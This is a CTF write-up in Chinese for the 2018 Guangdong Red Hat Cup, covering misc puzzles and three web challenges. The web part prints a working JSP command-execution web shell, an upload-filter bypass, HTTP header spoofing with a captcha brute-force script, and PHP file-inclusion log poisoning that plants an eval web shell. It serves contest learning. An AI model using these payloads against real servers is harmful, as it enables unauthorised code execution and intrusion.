2018 广东省红帽杯redhat writeup

前言

  这次省红帽杯的WEB部分大体不难(除去一道没人做出来的),但是对于比赛经验不丰富的选手来说,难点主要是在对题型的把控上,只要get到点,后面的操作基本没问题。自己从这次比赛中也学到了很多东西,任重道远啊。

杂项

Not Only Wireshark

hint: tshark

  打开数据包后发现都是tcp、http的数据报文,这种报文还是比较好处理的,所以就用wireshark处理了,还好数据不多。我们直接导出他们之间的数据包看看,wireshark的操作:文件 –> 导出对象 –> HTTP




  这里让人感到奇怪的就是?name=后面的值都是16进制的,而且从服务器的响应报文来看,都没有什么实际的东西,所以一个想法就是这一串16进制可能藏着什么东西,所以我们把这些数据都提取出来,虽然提示了tshark,但奈何自己不会,所以下面就手工提取了。

  首先我们筛选出这些数据,使用:tcp matches "GET"就行,下拉到目标。



  这里好在只有百来个包,再多点就真的要考虑去学tshark了。还一个要注意的就是一定不能从保存的文件中提取,因为文件夹里的排序顺序跟数据包的不一致,所以导致提取的数据是不正确的。



  提取的数据如下:
1
123404B03040A0001080000739C8C4B7B36E495200000001400000004000000666C616781CD460EB62015168D9E64B06FC1712365FDE5F987916DD8A52416E83FDE98FB504B01023F000A0001080000739C8C4B7B36E4952000000014000000040024000000000000002000000000000000666C61670A00200000000000010018000DB39B543D73D301A1ED91543D73D301F99066543D73D301504B0506000000000100010056000000420000000000


  我们把它以16进制写入文件,我这是用python写入的:
1
2
3
4
5
6
7
# -*- coding: utf-8 -*-

sss = '123404B03040A0001080000739C8C4B7B36E495200000001400000004000000666C616781CD460EB62015168D9E64B06FC1712365FDE5F987916DD8A52416E83FDE98FB504B01023F000A0001080000739C8C4B7B36E4952000000014000000040024000000000000002000000000000000666C61670A00200000000000010018000DB39B543D73D301A1ED91543D73D301F99066543D73D301504B05060000000001000100560000004200000000001'
f = open('123', 'wb')
hex_s = sss.decode('hex')
f.write(hex_s)
f.close()


  运行后你会发现有错误:



  一番百度、Google后,终于找到了原因,原来字符的长度是奇数,我们在他后面添加一位01都行,然后用010editor打开。



  咋一看,还真没什么东西,自己这里也卡了好一会,然后在不经意间注意到了:



  首先在开头这的123404B0304zip的文件头50480304很像,而且从上面的奇数报错中可以联想到将1234改成5不就偶数而且是zip的文件了吗,然后后面还有zip50480506的结束标志。我们验证一下猜想,重新写入:






  事实证明我们是对的,但是需要解压密码,一开始尝试伪加密,弄了一通,无果。然后再去分析数据包,然后一条奇怪的请求就出现了:



  别的都是name作为参数,而这是key,而且格式也不对。所以尝试用这个密码打开:?id=1128%23,最后得到flag:
>flag{1m_s0_ang4y_1s}

### 听说你们喜欢手工爆破
>flag{}内英文字母为大写形式

  下载压缩包解压后可以得到一堆内容相同但文件名不同的txt和需要密码的压缩包。



  将文件中的:VGgzcjMgMXMgbjAgZjFhZw==和它进行base64解密后的结果:Th3r3 1s n0 f1ag试了一下,发现密码都不对。但是考虑到题目给那么多文件不应该没用,所以就想到将所有的文件名提取出来试试。写个脚本:
1
2
3
4
5
6
7
8
# -*- coding: utf-8 -*-
import os

file = open('password.txt', 'w+')
for root,dirs,files in os.walk('E:\\Download\\123'):
for one in files:
one = one[:-4]
file.write(one + '\n')


  然后字典跑一下:



  密码:0328fc8b43cb2ddf89ba69fa5e6dbc05。打开后发现word也被加密了。



  再破之:



  密码:5693。打开后发现又是解密:



  这时我们搜索一下这个文档,接着就能发现线索了。



  注意到曼彻斯特,因为有个曼彻斯特编码的加密方式,然后再去Google了一番,最终发现了i春秋上出过类似的题。
1
2
3
链接:
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=8480&highlight=writeup
http://pav1.cc/wordpress/?p=108


  如果你直接用i春秋上的脚本跑,结果是错的,然后在第二条链接上发现了曼彻斯特编码另一种解码方式。所以最终的payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#-*- coding:utf-8 -*-

n=0x123654AAA678876303555111AAA77611A321
flag=''
bs='0'+bin(n)[2:]
r=''
def conv(s):
return hex(int(s,2))[2:]
for i in range(0,len(bs),2):
if bs[i:i+2]=='01':
r+='0' # 调换下 0/1
else:
r+='1'
for i in range(0,len(r),8):
tmp=r[i:i+8][::-1]
flag+=conv(tmp[:4])
flag+=conv(tmp[4:])
print flag.upper()


  flag:flag{5EFCF5F507AA5FAD77}

## Web

### simple upload
>这次在你面前的网站的功能非常简单,接受挑战吧!

  在抓包的时候发现了admin=0,将其改成1就可以任意登录了。



  这道题让我误会了是php的,还是在上传已存在的文件的时候报出来的错误才让我明白这是jsp。这道题考的真的是细心了。



  而且服务器只检查了Content-Type: image/jpeg,其他都没有过滤。所以找个jsp一句话
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<%
// pwd是密码
// cmd是要执行的命令
if("xxx".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>


  上传后如下访问即可:
1
http://a65af4fd5dd746c5a742b7c50ed19b4d3fa1fff3ba564ccd.game.ichunqiu.com/03e66dd9-edae-4db6-b504-5a1be6114385/shell.jsp?pwd=xxx&cmd=ls%20../


  最终flag:flag{5450ef7a-4e88-444d-afdd-7e3ebeca1c85}

### shopping log
1
2
3
4
http://123.59.141.153/
或者 http://120.132.95.234/
hint: 不需要注入
hint2:订单号从0000开始试可能不是一个明智的选择


  打开后在源代码中发现如下注释:
1
<!-- Site is tmvb.com -->


  这道题尝试了挺久,用过Site: tmvb.com的请求头还有X-Forwarded-ForX-Forwarded-Host,但都没用,然后只能去看看http请求头的字段说明了,然后可以找到一个:
1
Host    指定请求的服务器的域名和端口号 Host: www.zcmhi.com


  然后使用Host: tmvb.com就过了。



  这个就用Referer: www.dww.com/123绕过了。



  这个猜测是接收的语言,因为标题那有la,找了下japen的形式。



  所以再增加:Accept-Language: ja,这下就直接进去了。



  手工试了1~10但都没发现,然后想到hint里的从0000开始试可能不是一个明智的选择,所以考虑从9999往前。这里又手工了一会,发现没办法,只能写脚本跑了。脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# -*-coding:utf-8 -*-

import requests
import re
import hashlib
m5 = []
def md5(s):
return hashlib.md5(s).hexdigest()

def creat():
for i in range(1000, 9999999):
one = md5(str(i))
m5.append(one)

creat()

def find(s):
for ix,one in enumerate(m5):
if one.startswith(s):
return ix + 1
return None

url = 'http://120.132.95.234/5a560e50e61b552d34480017c7877467info.php'

headers = {
'Host':'www.tmvb.com',
'Referer':'www.dww.com/123',
'Accept-Language':'ja'
}
sess = requests.session()

start = 10000
for o in range(1,9999):
order = start - o
print(order)
html = sess.get(url,headers=headers)
reg = re.compile('=== \'(.*)\'')
text = html.text
code = re.findall(reg,text)[0]
print(code)
results = find(code)
while results == None:
# 没有找到时就刷新code,直到找着。
html = sess.get(url, headers=headers)
reg = re.compile('=== \'(.*)\'')
text = html.text
code = re.findall(reg, text)[0]

results = find(code)

print('code', results)

url2 = 'http://120.132.95.234/api.php?action=report'
data = {
'TxtTid':order,
'code':results
}
# proxy = {'http':'http://127.0.0.1:8080'}
html = sess.post(url2, data=data,headers=headers)
ok = html.text
print(ok)
if 'no such order' not in ok:
print('ok!!!')
print(order)
break


  这里参考了彩虹表的思想,先将一堆md5保存下来,要用的时候就直接找了,就不用现爆了。这里也考虑空间换时间的策略,首先生成了从1000~9999999md5,因为单个碰撞也是用的这个范围,但从实际情况看范围再小点也是可以的,因为程序运行的时候数据是放在内存的,所以要考虑实际的内存大小,上面脚本在我本机上需要1G左右的内存。

  这里如果采用来一个爆破一个的话效率就太低了,而且每次计算的md5都是一样的,这就造成了资源的浪费,但就算上面这个脚本爆破的时间也是挺长的。

  另一个策略就是当没有在预存的md5中找到满足条件的值得时候,我是采用再次刷新的方法,这样就能保证总能通过验证。

  最终order的值是:9588,flag:flag{hong_mao_ctf_hajimaruyo}

### biubiubiu
> 这次在你面前的网站看起来很复杂,接受挑战吧!

  打开网站如下:



  看到?page=就想到php://filter读取源码,使用:
1
?page=php://filter/convert.base64-encode/resource=index.php


  我们就能得到index.php的源码,接着我们再读取其他的文件。最后所有的文件如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
// index.php
if(isset($_GET['page']))
{
$file = $_GET['page'];
if(strpos($file,"read")){
header("Location: index.php?page=login.php");
exit();
}
include($file);
}
else{
header("Location: index.php?page=login.php");

}
?>


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
// send.php
if (@$_POST['url']) {
$url = @$_POST['url'];
if(preg_match("/^http(s?):\/\/.+/", $url)){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
curl_setopt($ch,CURLOPT_REDIR_PROTOCOLS,CURLPROTO_GOPHER|CURLPROTO_HTTP|CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);

curl_close($ch);
}

}
?>


1
2
3
4
5
6
7
8
9
10
11
<?php
// login.php
session_start();
#include_once("conn.php");

if(isset($_POST["email"])&&isset($_POST["password"])){
$_SESSION['login']=1;
header("Location: index.php?page=send.php");
exit();
}
?>


1
2
3
4
5
6
7
8
9
10
11
12
<?php
// conn.php
$db_host = 'mysql';
$db_name = 'user_admin';
$db_user = 'Dog';
$db_pwd = '';

$conn = mysqli_connect($db_host, $db_user, $db_pwd, $db_name);

if(!$conn){
die(mysqli_connect_error());
}


1
2
3
4
5
6
7
8
# users.sql
DROP TABLE IF EXISTS `admin`;
CREATE TABLE `admin` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(32) DEFAULT NULL,
`password` varchar(43) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;


  可以确定,?page=存在文件包含漏洞,而且可以任意读系统文件。



  这里自己跑偏了一晚上,把考点放在了gopher协议的攻击利用上了。试过gopher + fastcgi生成shell和基于ssrfgopher + mysql攻击利用,但都没有结果,但gopher确实是可用的。由于实验的vps已经被我删掉了,所以这里就单mark一下。
1
2
3
4
参考链接:
http://drops.xmd5.com/static/drops/tips-16590.html
http://www.4o4notfound.org/index.php/archives/33/
http://www.freebuf.com/articles/web/159342.html


  发现上面的思路错了后,又回头看文件包含了,想到文件包含一般是配合文件上传使用的,但在这道题的环境中并没有发现有上传的地方。然后Google了一下文件包含,发现还可以包含日志,再想到我们能任意读系统文件。那么攻击手法就出来了。

  这里需要注意的是不能直接在地址栏访问,因为这样会对URL进行url编码,待会包含的时候就不能解析。如:



  在日志中结果是:



  可以看到,这样就不能识别为<?php xxx ?>了。

  正确的做法是在send.php里请求:
1
http://bb37664e6549424c88750e9f2dd7c0de62213b7e29f343be.game.ichunqiu.com/<?php phpinfo(); ?>/


  这样会在日志文件中(/var/log/nginx/access.log)里产生日志,然后把他包含进来,请求:
1
http://bb37664e6549424c88750e9f2dd7c0de62213b7e29f343be.game.ichunqiu.com/index.php?page=../../../var/log/nginx/access.log




  然后我们再生成一句话:

1
http://bb37664e6549424c88750e9f2dd7c0de62213b7e29f343be.game.ichunqiu.com/<?php echo 'ok';eval($_POST['cmd']); ?>/

  用菜刀连接




  翻了一下目录没有找到flag相关的信息,再考虑给出的users.sql和数据库配置文件conn.php,决定看看数据库,不过我们需要配置一下。




  最后找到flag:




  flag:flag{dbc98dd7-90fb-44f4-8dbe-35a72f07ec9d}
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×